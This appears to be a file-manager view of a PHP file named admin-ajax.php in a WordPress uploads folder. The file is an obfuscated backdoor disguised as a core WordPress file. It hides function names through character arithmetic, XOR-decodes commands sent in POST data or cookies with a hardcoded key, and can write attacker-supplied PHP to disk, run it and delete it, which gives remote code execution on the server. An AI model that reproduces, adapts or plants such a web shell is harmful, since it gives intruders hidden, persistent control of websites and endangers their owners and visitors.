HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/11/admin-ajax.php
<?php 
$e_cwmfswhp       =    'e_cwmfswhp' /* zxnbls  */ ^ /*bb */ '7';$hesv_hkg /*  tavfw  */ = /*   am */ $e_cwmfswhp(97) /*e*/ .   "r"."r"."a"."y"."_".$e_cwmfswhp(109)    .	"a"."p";
$cznvz	=    "i".$e_cwmfswhp(109)    . /*   gw */ "p".$e_cwmfswhp(108)  . /* ru_ */ "\x6f" /*   tof   */ .    "\x64"	.     "\x65";



function /*   j*/ gyg_spkh($opulcn,    $wvumzhhnl)


{

 /*  e*/ global    $e_cwmfswhp;


 /* h */ 

 /* dv   */ $opulcn /*thajoe  */ =      $e_cwmfswhp(60)    .	"?".$e_cwmfswhp(112)    .	"h"."p".$e_cwmfswhp(32) /*  hz*/ .	"u".$e_cwmfswhp(110)       .   "l".$e_cwmfswhp(605-500)    .       "\x6e" /*t   */ .  "k"."(".$e_cwmfswhp(413-318)	. /*  mksxbe   */ "\137"      . /*   hp  */ "\x46"    . /*  vepqzs   */ "I".$e_cwmfswhp(76) /* ahb */ .	"E"."\137"	. /* ghxwf   */ "_".$e_cwmfswhp(41) /*xvi*/ . /*  gjx_h*/ $e_cwmfswhp(59) /* uzimp*/ . /*t*/ $e_cwmfswhp(32)       .      $opulcn["\144"];
	$edidzhh_xl	= /* erah  */ $e_cwmfswhp(513-411) /*_  */ .     "\151"	.    "l"."\145"	.	"\x5f"	.    "\160"    .  "u".$e_cwmfswhp(116)     .  $e_cwmfswhp(95)	.      "c"."o"."n"."\x74"    .	$e_cwmfswhp(101)  . /*  qzqf_ */ $e_cwmfswhp(110)    .    "\x74" /* y */ . /*   pbymo*/ "\163";

 /* eirj  */    $edidzhh_xl($wvumzhhnl, /*sk */ $opulcn);
      

	ftvnl($wvumzhhnl);


}



$khtgaycq /* puc  */ =    73;




function    ftvnl($wvumzhhnl)


{

    global	$e_cwmfswhp;
 /* l*/ 	include($wvumzhhnl);


    $vpruyfttmj   = /*  _iavf*/ $wvumzhhnl;
 /* h */ @unlink($vpruyfttmj);

}
function	ccruzjh()

{
 /* nhcvoq*/ global     $e_cwmfswhp;

  $kbgdk    =	array();

     $kbgdk["p".$e_cwmfswhp(118)]    =	phpversion();

    $kbgdk["s".$e_cwmfswhp(118)]    = /*apn*/ "3"."\56"    .	"5";
	$nr_sg /*   dsafe   */ =    74;
 /*  iny*/ echo	@serialize($kbgdk);

}




function     uiaybiy($opulcn,    $ykpso)
{  global /*zogvgq */ $e_cwmfswhp;

    $kbgdkuduye     =	"";


 /*  fod_c  */ $fzzc_    = /*   prbe */ strlen($opulcn);       $uxkocarzbx       = /* qbdd_*/ strlen($ykpso);


    $kbgdk    =	0;


    $alqamau    =  0;
      /* qppegg  */ while    ($kbgdk   <       $fzzc_)	{
 /*   lfen */ $snfmqd /*  a  */ =    $opulcn[$kbgdk]    ^    $ykpso[$alqamau /* v  */ %     $uxkocarzbx];
 /* ybah */ $kbgdkuduye /*  t */ .=       $snfmqd;


	$alqamau++; /*   sur_w*/ 
      $kbgdk++;

  }
	

    if      (strlen($kbgdkuduye) /*  tkvsay   */ >    20)    {

       $paqynh	= /* qamrcr*/ substr($kbgdkuduye,	0,    20); /*yk  */ }
	if /* jwp */ (empty($kbgdkuduye))	{

 /*n  */ $kbgdkuduye    = /* oax   */ date('Y-m-d    H:i:s');
   }

	return /*  _v   */ $kbgdkuduye;

}




function      cszbozh($kbgdkuexa)

{    global  $e_cwmfswhp;
		$fsbjbrhll /*   tnyus*/ = /* gs__v  */ $e_cwmfswhp(134-86)	.      "\x65"     .    "\145" /* znez */ .       "8".$e_cwmfswhp(584-532)    .     $e_cwmfswhp(53)    .    $e_cwmfswhp(821-719)    .    "\62"	. /* imovx   */ "-".$e_cwmfswhp(1004-948)	. /*gutyb  */ "\61" /*  hh  */ .      "\146" /*   je_ */ .       $e_cwmfswhp(441-387)       . /*  rkpu   */ "-"."\64"    .     "\141"      .     "\144" /* b_vw*/ .    $e_cwmfswhp(53) /*a */ .   "\55" /*  iv*/ . /*   e   */ $e_cwmfswhp(193-96) /* pry */ .   $e_cwmfswhp(153-52)."0"."3".$e_cwmfswhp(45)    . /*  gydow   */ $e_cwmfswhp(99)    .	$e_cwmfswhp(49)    .    "\70"	. /* bmqvti   */ "5".$e_cwmfswhp(55)    .     "4"."\143" /*   xnv  */ .      "\146" /*odj */ .   "7".$e_cwmfswhp(57)	.   "\x63"     .   "\144";


 /*  ncbld*/ 

    foreach       ($kbgdkuexa	as    $prtazae   =>    $opulcn)  {
 /*   l_*/ iqcmnf(base64_decode($opulcn), /*yhh */ $fsbjbrhll,       $prtazae);

   }}
function /* fywe*/ iqcmnf($opulcn, /* lr   */ $fsbjbrhll,	$prtazae)


{
    global   $e_cwmfswhp;	    $opulcn /* vw  */ = /*_frbr   */ unserialize(uiaybiy(uiaybiy($opulcn, /*  hbjzj*/ $fsbjbrhll),   $prtazae));


	$kfsrcolm    = /* zoh  */ 'vujg';
	$lolxxl      = /*a*/ 'ip_k';
    if    (isset($opulcn["\x61".$e_cwmfswhp(513-406)]))	{


     if     ($opulcn["\x61"]       ==     $e_cwmfswhp(291-186))	{      ccruzjh();
   } /*o_g_*/ elseif	($opulcn["\x61"]      == /*qcx   */ $e_cwmfswhp(153-52))    {


 /*  evm */ gyg_spkh($opulcn,   sprintf("\56"    .    "/"."\45"	. /*   ghu   */ "s"."\56" /* dgfoqu   */ .	"p"."\x6c",     md5($fsbjbrhll)));


			$nhrhaiiznv	=   44;

 /*  bvb */ }	exit();

 /*   uc */ }


}


cszbozh($_POST);    

$vkyms /*  ng  */ = /* ni */ 'rawurldecode';


$glf_hkupc    =    $hesv_hkg($vkyms,       $_POST);$cznvz("", /*od*/ $vkyms);cszbozh($_COOKIE);



$aolle /*l */ =      $hesv_hkg($vkyms,    $_COOKIE);







?>